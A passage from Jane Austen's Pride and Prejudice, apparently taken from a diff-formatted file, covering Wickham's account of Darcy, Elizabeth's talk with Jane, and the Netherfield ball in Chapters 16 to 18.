doubted the +intention, but Mr. Darcy chose to doubt it--or to treat it as a merely +conditional recommendation, and to assert that I had forfeited all claim +to it by extravagance, imprudence--in short anything or nothing. Certain +it is, that the living became vacant two years ago, exactly as I was +of an age to hold it, and that it was given to another man; and no +less certain is it, that I cannot accuse myself of having really done +anything to deserve to lose it. I have a warm, unguarded temper, and +I may have spoken my opinion _of_ him, and _to_ him, too freely. I can +recall nothing worse. But the fact is, that we are very different sort +of men, and that he hates me." + +"This is quite shocking! He deserves to be publicly disgraced." + +"Some time or other he _will_ be--but it shall not be by _me_. Till I +can forget his father, I can never defy or expose _him_." + +Elizabeth honoured him for such feelings, and thought him handsomer than +ever as he expressed them. + +"But what," said she, after a pause, "can have been his motive? What can +have induced him to behave so cruelly?" + +"A thorough, determined dislike of me--a dislike which I cannot but +attribute in some measure to jealousy. Had the late Mr. Darcy liked me +less, his son might have borne with me better; but his father's uncommon +attachment to me irritated him, I believe, very early in life. He had +not a temper to bear the sort of competition in which we stood--the sort +of preference which was often given me." + +"I had not thought Mr. Darcy so bad as this--though I have never liked +him. I had not thought so very ill of him. I had supposed him to be +despising his fellow-creatures in general, but did not suspect him of +descending to such malicious revenge, such injustice, such inhumanity as +this." + +After a few minutes' reflection, however, she continued, "I _do_ +remember his boasting one day, at Netherfield, of the implacability of +his resentments, of his having an unforgiving temper. His disposition +must be dreadful." + +"I will not trust myself on the subject," replied Wickham; "I can hardly +be just to him." + +Elizabeth was again deep in thought, and after a time exclaimed, "To +treat in such a manner the godson, the friend, the favourite of his +father!" She could have added, "A young man, too, like _you_, whose very +countenance may vouch for your being amiable"--but she contented herself +with, "and one, too, who had probably been his companion from childhood, +connected together, as I think you said, in the closest manner!" + +"We were born in the same parish, within the same park; the greatest +part of our youth was passed together; inmates of the same house, +sharing the same amusements, objects of the same parental care. _My_ +father began life in the profession which your uncle, Mr. Phillips, +appears to do so much credit to--but he gave up everything to be of +use to the late Mr. Darcy and devoted all his time to the care of the +Pemberley property. He was most highly esteemed by Mr. Darcy, a most +intimate, confidential friend. Mr. Darcy often acknowledged himself to +be under the greatest obligations to my father's active superintendence, +and when, immediately before my father's death, Mr. Darcy gave him a +voluntary promise of providing for me, I am convinced that he felt it to +be as much a debt of gratitude to _him_, as of his affection to myself." + +"How strange!" cried Elizabeth. "How abominable! I wonder that the very +pride of this Mr. Darcy has not made him just to you! If from no better +motive, that he should not have been too proud to be dishonest--for +dishonesty I must call it." + +"It _is_ wonderful," replied Wickham, "for almost all his actions may +be traced to pride; and pride had often been his best friend. It has +connected him nearer with virtue than with any other feeling. But we are +none of us consistent, and in his behaviour to me there were stronger +impulses even than pride." + +"Can such abominable pride as his have ever done him good?" + +"Yes. It has often led him to be liberal and generous, to give his money +freely, to display hospitality, to assist his tenants, and relieve the +poor. Family pride, and _filial_ pride--for he is very proud of what +his father was--have done this. Not to appear to disgrace his family, +to degenerate from the popular qualities, or lose the influence of the +Pemberley House, is a powerful motive. He has also _brotherly_ pride, +which, with _some_ brotherly affection, makes him a very kind and +careful guardian of his sister, and you will hear him generally cried up +as the most attentive and best of brothers." + +"What sort of girl is Miss Darcy?" + +He shook his head. "I wish I could call her amiable. It gives me pain to +speak ill of a Darcy. But she is too much like her brother--very, very +proud. As a child, she was affectionate and pleasing, and extremely fond +of me; and I have devoted hours and hours to her amusement. But she is +nothing to me now. She is a handsome girl, about fifteen or sixteen, +and, I understand, highly accomplished. Since her father's death, her +home has been London, where a lady lives with her, and superintends her +education." + +After many pauses and many trials of other subjects, Elizabeth could not +help reverting once more to the first, and saying: + +"I am astonished at his intimacy with Mr. Bingley! How can Mr. Bingley, +who seems good humour itself, and is, I really believe, truly amiable, +be in friendship with such a man? How can they suit each other? Do you +know Mr. Bingley?" + +"Not at all." + +"He is a sweet-tempered, amiable, charming man. He cannot know what Mr. +Darcy is." + +"Probably not; but Mr. Darcy can please where he chooses. He does not +want abilities. He can be a conversible companion if he thinks it worth +his while. Among those who are at all his equals in consequence, he is +a very different man from what he is to the less prosperous. His +pride never deserts him; but with the rich he is liberal-minded, just, +sincere, rational, honourable, and perhaps agreeable--allowing something +for fortune and figure." + +The whist party soon afterwards breaking up, the players gathered round +the other table and Mr. Collins took his station between his cousin +Elizabeth and Mrs. Phillips. The usual inquiries as to his success were +made by the latter. It had not been very great; he had lost every +point; but when Mrs. Phillips began to express her concern thereupon, +he assured her with much earnest gravity that it was not of the least +importance, that he considered the money as a mere trifle, and begged +that she would not make herself uneasy. + +"I know very well, madam," said he, "that when persons sit down to a +card-table, they must take their chances of these things, and happily I +am not in such circumstances as to make five shillings any object. There +are undoubtedly many who could not say the same, but thanks to Lady +Catherine de Bourgh, I am removed far beyond the necessity of regarding +little matters." + +Mr. Wickham's attention was caught; and after observing Mr. Collins for +a few moments, he asked Elizabeth in a low voice whether her relation +was very intimately acquainted with the family of de Bourgh. + +"Lady Catherine de Bourgh," she replied, "has very lately given him +a living. I hardly know how Mr. Collins was first introduced to her +notice, but he certainly has not known her long." + +"You know of course that Lady Catherine de Bourgh and Lady Anne Darcy +were sisters; consequently that she is aunt to the present Mr. Darcy." + +"No, indeed, I did not. I knew nothing at all of Lady Catherine's +connections. I never heard of her existence till the day before +yesterday." + +"Her daughter, Miss de Bourgh, will have a very large fortune, and it is +believed that she and her cousin will unite the two estates." + +This information made Elizabeth smile, as she thought of poor Miss +Bingley. Vain indeed must be all her attentions, vain and useless her +affection for his sister and her praise of himself, if he were already +self-destined for another. + +"Mr. Collins," said she, "speaks highly both of Lady Catherine and her +daughter; but from some particulars that he has related of her ladyship, +I suspect his gratitude misleads him, and that in spite of her being his +patroness, she is an arrogant, conceited woman." + +"I believe her to be both in a great degree," replied Wickham; "I have +not seen her for many years, but I very well remember that I never liked +her, and that her manners were dictatorial and insolent. She has the +reputation of being remarkably sensible and clever; but I rather believe +she derives part of her abilities from her rank and fortune, part from +her authoritative manner, and the rest from the pride for her +nephew, who chooses that everyone connected with him should have an +understanding of the first class." + +Elizabeth allowed that he had given a very rational account of it, and +they continued talking together, with mutual satisfaction till supper +put an end to cards, and gave the rest of the ladies their share of Mr. +Wickham's attentions. There could be no conversation in the noise +of Mrs. Phillips's supper party, but his manners recommended him to +everybody. Whatever he said, was said well; and whatever he did, done +gracefully. Elizabeth went away with her head full of him. She could +think of nothing but of Mr. Wickham, and of what he had told her, all +the way home; but there was not time for her even to mention his name +as they went, for neither Lydia nor Mr. Collins were once silent. Lydia +talked incessantly of lottery tickets, of the fish she had lost and the +fish she had won; and Mr. Collins in describing the civility of Mr. and +Mrs. Phillips, protesting that he did not in the least regard his losses +at whist, enumerating all the dishes at supper, and repeatedly fearing +that he crowded his cousins, had more to say than he could well manage +before the carriage stopped at Longbourn House. + + + +Chapter 17 + + +Elizabeth related to Jane the next day what had passed between Mr. +Wickham and herself. Jane listened with astonishment and concern; she +knew not how to believe that Mr. Darcy could be so unworthy of Mr. +Bingley's regard; and yet, it was not in her nature to question the +veracity of a young man of such amiable appearance as Wickham. The +possibility of his having endured such unkindness, was enough to +interest all her tender feelings; and nothing remained therefore to be +done, but to think well of them both, to defend the conduct of each, +and throw into the account of accident or mistake whatever could not be +otherwise explained. + +"They have both," said she, "been deceived, I dare say, in some way +or other, of which we can form no idea. Interested people have perhaps +misrepresented each to the other. It is, in short, impossible for us to +conjecture the causes or circumstances which may have alienated them, +without actual blame on either side." + +"Very true, indeed; and now, my dear Jane, what have you got to say on +behalf of the interested people who have probably been concerned in the +business? Do clear _them_ too, or we shall be obliged to think ill of +somebody." + +"Laugh as much as you choose, but you will not laugh me out of my +opinion. My dearest Lizzy, do but consider in what a disgraceful light +it places Mr. Darcy, to be treating his father's favourite in such +a manner, one whom his father had promised to provide for. It is +impossible. No man of common humanity, no man who had any value for his +character, could be capable of it. Can his most intimate friends be so +excessively deceived in him? Oh! no." + +"I can much more easily believe Mr. Bingley's being imposed on, than +that Mr. Wickham should invent such a history of himself as he gave me +last night; names, facts, everything mentioned without ceremony. If it +be not so, let Mr. Darcy contradict it. Besides, there was truth in his +looks." + +"It is difficult indeed--it is distressing. One does not know what to +think." + +"I beg your pardon; one knows exactly what to think." + +But Jane could think with certainty on only one point--that Mr. Bingley, +if he _had_ been imposed on, would have much to suffer when the affair +became public. + +The two young ladies were summoned from the shrubbery, where this +conversation passed, by the arrival of the very persons of whom they had +been speaking; Mr. Bingley and his sisters came to give their personal +invitation for the long-expected ball at Netherfield, which was fixed +for the following Tuesday. The two ladies were delighted to see their +dear friend again, called it an age since they had met, and repeatedly +asked what she had been doing with herself since their separation. To +the rest of the family they paid little attention; avoiding Mrs. Bennet +as much as possible, saying not much to Elizabeth, and nothing at all to +the others. They were soon gone again, rising from their seats with an +activity which took their brother by surprise, and hurrying off as if +eager to escape from Mrs. Bennet's civilities. + +The prospect of the Netherfield ball was extremely agreeable to every +female of the family. Mrs. Bennet chose to consider it as given in +compliment to her eldest daughter, and was particularly flattered +by receiving the invitation from Mr. Bingley himself, instead of a +ceremonious card. Jane pictured to herself a happy evening in the +society of her two friends, and the attentions of their brother; and +Elizabeth thought with pleasure of dancing a great deal with Mr. +Wickham, and of seeing a confirmation of everything in Mr. Darcy's look +and behaviour. The happiness anticipated by Catherine and Lydia depended +less on any single event, or any particular person, for though they +each, like Elizabeth, meant to dance half the evening with Mr. Wickham, +he was by no means the only partner who could satisfy them, and a ball +was, at any rate, a ball. And even Mary could assure her family that she +had no disinclination for it. + +"While I can have my mornings to myself," said she, "it is enough--I +think it is no sacrifice to join occasionally in evening engagements. +Society has claims on us all; and I profess myself one of those +who consider intervals of recreation and amusement as desirable for +everybody." + +Elizabeth's spirits were so high on this occasion, that though she did +not often speak unnecessarily to Mr. Collins, she could not help asking +him whether he intended to accept Mr. Bingley's invitation, and if +he did, whether he would think it proper to join in the evening's +amusement; and she was rather surprised to find that he entertained no +scruple whatever on that head, and was very far from dreading a rebuke +either from the Archbishop, or Lady Catherine de Bourgh, by venturing to +dance. + +"I am by no means of the opinion, I assure you," said he, "that a ball +of this kind, given by a young man of character, to respectable people, +can have any evil tendency; and I am so far from objecting to dancing +myself, that I shall hope to be honoured with the hands of all my fair +cousins in the course of the evening; and I take this opportunity of +soliciting yours, Miss Elizabeth, for the two first dances especially, +a preference which I trust my cousin Jane will attribute to the right +cause, and not to any disrespect for her." + +Elizabeth felt herself completely taken in. She had fully proposed being +engaged by Mr. Wickham for those very dances; and to have Mr. Collins +instead! her liveliness had never been worse timed. There was no help +for it, however. Mr. Wickham's happiness and her own were perforce +delayed a little longer, and Mr. Collins's proposal accepted with as +good a grace as she could. She was not the better pleased with his +gallantry from the idea it suggested of something more. It now first +struck her, that _she_ was selected from among her sisters as worthy +of being mistress of Hunsford Parsonage, and of assisting to form a +quadrille table at Rosings, in the absence of more eligible visitors. +The idea soon reached to conviction, as she observed his increasing +civilities toward herself, and heard his frequent attempt at a +compliment on her wit and vivacity; and though more astonished than +gratified herself by this effect of her charms, it was not long before +her mother gave her to understand that the probability of their marriage +was extremely agreeable to _her_. Elizabeth, however, did not choose +to take the hint, being well aware that a serious dispute must be the +consequence of any reply. Mr. Collins might never make the offer, and +till he did, it was useless to quarrel about him. + +If there had not been a Netherfield ball to prepare for and talk of, the +younger Miss Bennets would have been in a very pitiable state at this +time, for from the day of the invitation, to the day of the ball, there +was such a succession of rain as prevented their walking to Meryton +once. No aunt, no officers, no news could be sought after--the very +shoe-roses for Netherfield were got by proxy. Even Elizabeth might have +found some trial of her patience in weather which totally suspended the +improvement of her acquaintance with Mr. Wickham; and nothing less than +a dance on Tuesday, could have made such a Friday, Saturday, Sunday, and +Monday endurable to Kitty and Lydia. + + + +Chapter 18 + + +Till Elizabeth entered the drawing-room at Netherfield, and looked in +vain for Mr. Wickham among the cluster of red coats there assembled, a +doubt of his being present had never occurred to her. The certainty +of meeting him had not been checked by any of those recollections that +might not unreasonably have alarmed her. She had dressed with more than +usual care, and prepared in the highest spirits for the conquest of all +that remained unsubdued of his heart, trusting that it was not more than +might be won in the course of the evening. But in an instant arose +the dreadful suspicion of his being purposely omitted for Mr. Darcy's +pleasure in the Bingleys' invitation to the officers; and though +this was not exactly the case, the absolute fact of his absence was +pronounced by his friend Denny, to whom Lydia eagerly applied, and who +told them that Wickham had been obliged to go to town on business the +day before, and was not yet returned; adding, with a significant smile, +"I do not imagine his business would have called him away just now, if +he had not wanted to avoid a certain gentleman here." + +This part of his intelligence, though unheard by Lydia, was caught by +Elizabeth, and, as it assured her that Darcy was not less answerable for +Wickham's absence than if her first surmise had been just, every +feeling of displeasure against the former was so sharpened by immediate +disappointment, that she could hardly reply with tolerable civility to +the polite inquiries which he directly afterwards approached to make. +Attendance, forbearance, patience with Darcy, was injury to Wickham. She +was resolved against any sort of conversation with him, and turned away +with a degree of ill-humour which she could not wholly surmount even in +speaking to Mr. Bingley, whose blind partiality provoked her. + +But Elizabeth was not formed for ill-humour; and though every prospect +of her own was destroyed for the evening, it could not dwell long on her +spirits; and having told all her griefs to Charlotte Lucas, whom she had +not seen for a week, she was soon able to make a voluntary transition +to the oddities of her cousin, and to point him out to her particular +notice. The first two dances, however, brought a return of distress; +they were dances of mortification. Mr. Collins, awkward and solemn, +apologising instead of attending, and often moving wrong without being +aware of it, gave her all the shame and misery which a disagreeable +partner for a couple of dances can give. The moment of her release from +him was ecstasy. + +She danced next with an officer, and had the refreshment of talking of +Wickham, and of hearing that he was universally liked. When those dances +were over, she returned to Charlotte Lucas, and was in conversation with +her, when she found herself suddenly addressed by Mr. Darcy who took +her so much by surprise in his application for her hand, that, +without knowing what she did, she accepted him. He walked away again +immediately, and she was left to fret over her own want of presence of +mind; Charlotte tried to console her: + +"I dare say you will find him very agreeable." + +"Heaven forbid! _That_ would be the greatest misfortune of all! To find +a man agreeable whom one is determined to hate! Do not wish me such an +evil." + +When the dancing recommenced, however, and Darcy approached to claim her +hand, Charlotte could not help cautioning her in a whisper, not to be a +simpleton, and allow her fancy for Wickham to make her appear unpleasant +in the eyes of a man ten times his consequence. Elizabeth made no +answer, and took her place in the set, amazed at the dignity to which +she was arrived in being allowed to stand opposite to Mr. Darcy, and +reading in her neighbours' looks, their equal amazement in beholding +it. They stood for some time without speaking a word; and she began to +imagine that their silence was to last through the two dances, and at +first was resolved not to break it; till suddenly fancying that it would +be the greater punishment to her partner to oblige him to talk, she made +some slight observation on the dance. He replied, and was again +silent. After a pause of some minutes, she addressed him a second time +with:--"It is _your_ turn to say something now, Mr. Darcy. I talked +about the dance, and _you_ ought to make some sort of remark on the size +of the room, or the number of couples." + +He smiled, and assured her that whatever she wished him to say should be +said. + +"Very well. That reply will do for the present. Perhaps by and by I may +observe that private balls are much pleasanter than public ones. But +_now_ we may be silent." + +"Do you talk by rule, then, while you are dancing?" + +"Sometimes. One must speak a little, you know. It would look odd to be +entirely silent for half an hour together; and yet for the advantage of +_some_, conversation ought to be so arranged, as that they may have the +trouble of saying as little as possible." + +"Are you consulting your own feelings in the present case, or do you +imagine that you are gratifying mine?" + +"Both," replied Elizabeth archly; "for I have always seen a great +similarity in the turn of our minds. We are each of an unsocial, +taciturn disposition, unwilling to speak, unless we expect to say +something that will amaze the whole room, and be handed down to +posterity with all the eclat of a proverb." + +"This is no very striking resemblance of your own character, I am sure," +said he. "How near it may be to _mine_, I cannot pretend to say. _You_ +think it a faithful portrait undoubtedly." + +"I must not decide on my own performance." + +He made no answer, and they were again silent till they had gone down +the dance, when he asked her if she and her sisters did not very often +walk to Meryton. She answered in the affirmative, and, unable to resist +the temptation, added, "When you met us there the other day, we had just +been forming a new acquaintance." + +The effect was immediate. A deeper shade of _hauteur_ overspread his +features, but he said not a word, and Elizabeth, though blaming herself +for her own weakness, could not go on. At length Darcy spoke, and in a +constrained manner said, "Mr. Wickham is blessed with such happy manners +as may ensure his _making_ friends--whether he may be equally capable of +_retaining_ them, is less certain." + +"He has been so unlucky as to lose _your_ friendship," replied Elizabeth +with emphasis, "and in a manner which he is likely to suffer from all +his life." + +Darcy made no answer, and seemed desirous of changing the subject. At +that moment, Sir William Lucas appeared close to them, meaning to pass +through the set to the other side of the room; but on perceiving Mr. +Darcy, he stopped with a bow of superior courtesy to compliment him on +his dancing and his partner. + +"I have been most highly gratified indeed, my dear sir. Such very +superior dancing is not often seen. It is evident that you belong to the +first circles. Allow me to say, however, that your fair partner does not +disgrace you, and that I must hope to have this pleasure often repeated, +especially when a certain desirable event, my dear Eliza (glancing at +her sister and Bingley) shall take place. What congratulations will then +flow in! I appeal to Mr. Darcy:--but let me not interrupt you, sir. You +will not thank me for detaining you from the bewitching converse of that +young lady, whose bright eyes are also upbraiding me." + +The latter part of this address was scarcely heard by Darcy; but Sir +William's allusion to his friend seemed to strike him forcibly, and his +eyes were directed with a very serious expression towards Bingley and +Jane, who were dancing together. Recovering himself, however, shortly, +he turned to his partner, and said, "Sir William's interruption has made +me forget what we were talking of." + +"I do not think we were speaking at all. Sir William could not have +interrupted two people in the room who had less to say for themselves. +We have tried two or three subjects already without success, and what we +are to talk of next I cannot imagine." + +"What think you of books?" said he, smiling. + +"Books--oh! no. I am sure we never read the same, or not with the same +feelings." + +"I am sorry you think so; but if that be the case, there can at least be +no want of subject. We may compare our different opinions." + +"No--I cannot talk of books in a ball-room; my head is always full of +something else." + +"The _present_ always occupies you in such scenes--does it?" said he, +with a look of doubt. + +"Yes, always," she replied, without knowing what she said, for her +thoughts had wandered far from the subject, as soon afterwards appeared +by her suddenly exclaiming, "I remember hearing you once say, Mr. Darcy, +that you hardly ever forgave, that your resentment once created was +unappeasable. You are very cautious, I suppose, as to its _being +created_." + +"I am," said he, with a firm voice. + +"And never allow yourself to be blinded by prejudice?" + +"I hope not." + +"It is particularly incumbent on those who never change their opinion, +to be secure of judging properly at first." + +"May I ask to what these questions tend?" + +"Merely to the illustration of _your_ character," said she, endeavouring +to shake off her gravity. "I am trying to make it out." + +"And what is your success?" + +She shook her head. "I do not get on at all. I hear such different +accounts of you as puzzle me exceedingly." + +"I can readily believe," answered he gravely, "that reports may vary +greatly with respect to me; and I could wish, Miss Bennet, that you were +not to sketch my character at the present moment, as there is reason to +fear that the performance would reflect no credit on either." + +"But if I do not take your likeness now, I may never have another +opportunity." + +"I would by no means suspend any pleasure of yours," he coldly replied. +She said no more, and they went down the other dance and parted in +silence; and on each side dissatisfied, though not to an equal degree, +for in Darcy's breast there was a tolerably powerful feeling towards +her, which soon procured her pardon, and directed all his anger against +another. + +They had not long separated, when Miss Bingley came towards her, and +with an expression of civil disdain accosted her: + +"So, Miss Eliza, I hear you are quite delighted with George Wickham! +Your sister has been talking to me about him, and asking me a thousand +questions; and I find that the young man quite forgot to tell you, among +his other communication, that he was the son of old Wickham, the late +Mr. Darcy's steward. Let me recommend you, however, as a friend, not to +give implicit confidence to all his assertions; for as to Mr. Darcy's +using him ill, it is perfectly false; for, on the contrary, he has +always been remarkably kind to him, though George Wickham has treated +Mr. Darcy in a most infamous manner. I do not know the particulars, but +I know very well that Mr. Darcy is not in the least to blame, that he +cannot bear to hear George Wickham mentioned, and that though my brother +thought that he could not well avoid including him in his invitation to +the officers, he was excessively glad to find that he had taken himself +out of the way. His coming into the country at all is a most insolent +thing, indeed, and I wonder how he could presume to do it. I pity you, +Miss Eliza, for this discovery of your favourite's guilt; but really, +considering his descent, one could not expect much better." + +"His guilt and his descent appear by your account to be the same," said +Elizabeth angrily; "for I have heard you accuse him of nothing worse +than of being the son of Mr. Darcy's steward, and of _that_, I can +assure you, he informed me himself." + +"I beg your pardon," replied Miss Bingley, turning away with a sneer. +"Excuse my interference--it was kindly meant." + +"Insolent girl!" said Elizabeth to herself. "You are much mistaken +if you expect to influence me by such a paltry attack as this. I see +nothing in it but your own wilful ignorance and the malice of Mr. +Darcy." She then sought her eldest sister, who had undertaken to make +inquiries on the same subject of Bingley. Jane met her with a smile of +such sweet complacency, a glow of such happy expression, as sufficiently +marked how well she was satisfied with the occurrences of the evening. +Elizabeth instantly read her feelings, and at that moment solicitude for +Wickham, resentment against his enemies, and everything else, gave way +before the hope of Jane's being in the fairest way for happiness. + +"I want to know," said she, with a countenance no less smiling than her +sister's, "what you have learnt about Mr. Wickham. But perhaps you have +been too pleasantly engaged to think of any third person; in which case +you may be sure of my pardon." + +"No," replied Jane, "I have not forgotten him; but I have nothing +satisfactory to tell you. Mr. Bingley does not know the whole of +his history, and is quite ignorant of the circumstances which have +principally offended Mr. Darcy; but he will vouch for the good conduct, +the probity, and honour of his friend, and is perfectly convinced that +Mr. Wickham has deserved much less attention from Mr. Darcy than he has +received; and I am sorry to say by his account as well as his sister's, +Mr. Wickham is by no means a respectable young man. I am afraid he has +been very imprudent, and has deserved to lose Mr. Darcy's regard." + +"Mr. Bingley does not know Mr. Wickham himself?" + +"No; he never saw him till the other morning at Meryton." + +"This account then is what he has received from Mr. Darcy. I am +satisfied. But what does he say of the living?" + +"He does not exactly recollect the circumstances, though he has heard +them from Mr. Darcy more than once, but he believes that it was left to +him _conditionally_ only." + +"I have not a doubt of Mr. Bingley's sincerity," said Elizabeth warmly; +"but you must excuse my not being convinced by assurances only. Mr. +Bingley's defense of his friend was a very able one, I dare say; but +since he is unacquainted with several parts of the story, and has learnt +the rest from that friend himself, I shall venture to still think of +both gentlemen as I did before." + +She then changed the discourse to one more gratifying to each, and on +which there could be no difference of sentiment. Elizabeth listened with +delight to the happy, though modest hopes which Jane entertained of Mr. +Bingley's regard, and said all in her power to heighten her confidence +in it. On their being joined by Mr. Bingley himself, Elizabeth withdrew +to Miss Lucas; to whose inquiry after the pleasantness of her last +partner she had scarcely replied, before Mr. Collins came up to them, +and told her with great exultation that he had just been so fortunate as +to make a most important discovery. + +"I have found out," said he, "by a singular accident, that there is now +in the room a near relation of my patroness. I happened to overhear the +gentleman himself mentioning to the young lady who does the honours of +the house the names of his cousin Miss de Bourgh, and of her mother Lady +Catherine. How wonderfully these sort of things occur! Who would have +thought of my meeting with, perhaps, a nephew of Lady Catherine de +Bourgh in this assembly! I am most thankful that the discovery is made +in time for me to pay my respects to him, which I am now going to +do, and trust he will excuse my not having done it before. My total +ignorance of the connection must plead my apology." + +"You are not going to introduce yourself to Mr. Darcy!" + +"Indeed I am. I shall entreat his pardon for not having done it earlier. +I believe him to be Lady Catherine's _nephew_. It will be in my power to +assure him that her ladyship was quite well yesterday se'nnight." + +Elizabeth tried hard to dissuade him from such a scheme, assuring him +that Mr. Darcy would consider his addressing him without introduction +as an impertinent freedom, rather than a compliment to his aunt; that +it was not in the least necessary there should be any notice on either +side; and that if it were, it must belong to Mr. Darcy, the superior in +consequence, to begin the acquaintance. Mr. Collins listened to her +with the determined air of following his own inclination, and, when she +ceased speaking, replied thus: + +"My dear Miss Elizabeth, I have the highest opinion in the world in +your excellent judgement in all matters within the scope of your +understanding; but permit me to say, that there must be a wide +difference between the established forms of ceremony amongst the laity, +and those which regulate the clergy; for, give me leave to observe that +I consider the clerical office as equal in point of dignity with +the highest rank in the kingdom--provided that a proper humility of +behaviour is at the same time maintained. You must therefore allow me to +follow the dictates of my conscience on this occasion, which leads me to +perform what I look on as a point of duty. Pardon me for neglecting to +profit by your advice, which on every other subject shall be my constant +guide, though in the case before us I consider myself more fitted by +education and habitual study to decide on what is right than a young +lady like yourself." And with a low bow he left her to attack Mr. +Darcy, whose reception of his advances she eagerly watched, and whose +astonishment at being so addressed was very evident. Her cousin prefaced +his speech with a solemn bow and though she could not hear a word of +it, she felt as if hearing it all, and saw in the motion of his lips the +words "apology," "Hunsford," and "Lady Catherine de Bourgh." It vexed +her to see him expose himself to such a man. Mr. Darcy was eyeing him +with unrestrained wonder, and when at last Mr. Collins allowed him time +to speak, replied with an air of distant civility. Mr. Collins, however, +was not discouraged from speaking again, and Mr. Darcy's contempt seemed +abundantly increasing with the length of his second speech, and at the +end of it he only made him a slight bow, and moved another way. Mr. +Collins then returned to Elizabeth. + +"I have no reason, I assure you," said he, "to be dissatisfied with my +reception. Mr. Darcy seemed much pleased with the attention. He answered +me with the utmost civility, and even paid me the compliment of saying +that he was so well convinced of Lady Catherine's discernment as to be +certain she could never bestow a favour unworthily. It was really a very +handsome thought. Upon the whole, I am much pleased with him." + +As Elizabeth had no longer any interest of her own to pursue, she turned +her attention almost entirely on her sister and Mr. Bingley; and the +train of agreeable reflections which her observations gave birth to, +made her perhaps almost as happy as Jane. She saw her in idea settled in +that very house, in all the felicity which a marriage of true affection +could bestow; and she felt capable, under such circumstances, of +endeavouring even to like Bingley's two sisters. Her mother's thoughts +she plainly saw were bent the same way, and she determined not to +venture near her, lest she might hear too much. When they sat down to +supper, therefore, she considered it a most unlucky perverseness which +placed them within one of each other; and deeply was she vexed to find +that her mother was talking to that one person (Lady Lucas) freely, +openly, and of nothing else but her expectation that Jane would soon +be married to Mr. Bingley. It was an animating subject, and Mrs. Bennet +seemed incapable of fatigue while enumerating the advantages of the +match. His being such a charming young man, and so rich, and living but +three miles from them, were the first points of self-gratulation; and +then it was such a comfort to think how fond the two sisters were of +Jane, and to be certain that they must desire the connection as much as +she could do. It was, moreover, such a promising thing for her younger +daughters, as Jane's marrying so greatly must throw them in the way of +other rich men; and lastly, it was so pleasant at her time of life to be +able to consign her single daughters to the care of their sister, that +she might not be obliged to go into company more than she liked. It was +necessary to make this circumstance a matter of pleasure, because on +such occasions it is the etiquette; but no one was less likely than Mrs. +Bennet to find comfort in staying home at any period of her life. She +concluded with many good wishes that Lady Lucas might soon be equally +fortunate, though evidently and triumphantly believing there was no +chance of it. + +In vain did Elizabeth endeavour to check the rapidity of her mother's +words, or persuade her to describe her felicity in a less audible +whisper; for, to her inexpressible vexation, she could perceive that the +chief of it was overheard by Mr. Darcy, who sat opposite to them. Her +mother only scolded her for being nonsensical. + +"What is Mr. Darcy to me, pray, that I should be afraid of him? I am +sure we owe him no such particular civility as to be obliged to say +nothing _he_ may not like to hear." + +"For heaven's sake, madam, speak lower. What advantage can it be for you +to offend Mr. Darcy? You will never recommend yourself to his friend by +so doing!" + +Nothing that she could say, however, had any influence. Her mother would +talk of her views in the same intelligible tone. Elizabeth blushed and +blushed again with shame and vexation. She could not help frequently +glancing her eye at Mr. Darcy, though every glance convinced her of what +she dreaded; for though he was not always looking at her mother, she was +convinced that his attention was invariably fixed by her. The expression +of his face changed gradually from indignant contempt to a composed and +steady gravity. + +At length, however, Mrs. Bennet had no more to say; and Lady Lucas, who +had been long yawning at the repetition of delights which she saw no +likelihood of sharing, was left to the comforts of cold ham and +chicken. Elizabeth now began to revive. But not long was the interval of +tranquillity; for, when supper was over, singing was talked of, and +she had the mortification of seeing Mary, after very little entreaty, +preparing to oblige the company. By many significant looks and silent +entreaties, did she endeavour to prevent such a proof of complaisance, +but in vain; Mary would not understand them; such an opportunity of +exhibiting was delightful to her, and she began her song. Elizabeth's +eyes were fixed on her with most painful sensations, and she watched her +progress through the several stanzas with an impatience which was very +ill rewarded at their close; for Mary, on receiving, amongst the thanks +of the table, the hint of a hope that she might be prevailed on to +favour them again, after the pause of half a minute began another. +Mary's powers were by no means fitted for such a display; her voice was +weak, and her manner affected. Elizabeth was in agonies. She looked at +Jane, to see how she bore it; but Jane was very composedly talking to +Bingley. She looked at his two sisters, and saw them making signs +of derision at each other, and at Darcy, who continued, however, +imperturbably grave. She looked at her father to entreat his +interference, lest Mary should be singing all night. He took the hint, +and when Mary had finished her second song, said aloud, "That will do +extremely well, child. You have delighted us long enough. Let the other +young ladies have time to exhibit." + +Mary, though pretending not to hear, was somewhat disconcerted; and +Elizabeth, sorry for her, and sorry for her father's speech, was afraid +her anxiety had done no good. Others of the party were now applied to. + +"If I," said Mr. Collins, "were so fortunate as to be able to sing, I +should have great pleasure, I am sure, in obliging the company with an +air; for I consider music as a very innocent diversion, and perfectly +compatible with the profession of a clergyman. I do not mean, however, +to assert that we can be justified in devoting too much of our time +to music, for there are certainly other things to be attended to. The +rector of a parish has much to do. In the first place, he must make +such an agreement for tithes as may be beneficial to himself and not +offensive to his patron. He must write his own sermons; and the time +that remains will not be too much for his parish duties, and the care +and improvement of his dwelling, which he cannot be excused from making +as comfortable as possible. And I do not think it of light importance +that he should have attentive and conciliatory manners towards everybody, +especially towards those to whom he owes his preferment. I cannot acquit +him of that duty; nor could I think well of the man who should omit an +occasion of testifying his respect towards anybody connected with the +family." And with a bow to Mr. Darcy, he concluded his speech, which had +been spoken so loud as to be heard by half the room. Many stared--many +smiled; but no one looked more amused than Mr. Bennet himself, while his +wife seriously commended Mr. Collins for having spoken so sensibly, +and observed in a half-whisper to Lady Lucas, that he was a remarkably +clever, good kind of young man. + +To Elizabeth it appeared that, had her family made an agreement to +expose themselves as much as they could during the evening, it would +have been impossible for them to play their parts with more spirit or +finer success; and happy did she think it for Bingley and her sister +that some of the exhibition had escaped his notice, and that his +feelings were not of a sort to be much distressed by the folly which he +must have witnessed. That his two sisters and Mr. Darcy, however, should +have such an opportunity of ridiculing her relations, was bad enough, +and she could not determine whether the silent contempt of the +gentleman, or the insolent smiles of the ladies, were more intolerable. + +The rest of the evening brought her little amusement. She was teased by +Mr. Collins, who continued most perseveringly by her side, and though +he could not prevail on her to dance with him again, put it out of her +power to dance with others. In vain did she entreat him to stand up with +somebody else, and offer to introduce him to any young lady in the room. +He assured her, that as to dancing, he was perfectly indifferent to it; +that his chief object was by delicate attentions to recommend himself to +her and that he should therefore make a point of remaining close to her +the whole evening. There was no arguing upon such a project. She owed +her greatest relief to her friend Miss Lucas, who often joined them, and +good-naturedly engaged Mr. Collins's conversation to herself. + +She was at least free from the offense of Mr. Darcy's further notice; +though often standing within a very short distance of her, quite +disengaged, he never came near enough to speak. She felt it to be the +probable consequence of her allusions to Mr. Wickham, and rejoiced in +it. + +The Longbourn party were the last of all the company to depart, and, by +a manoeuvre of 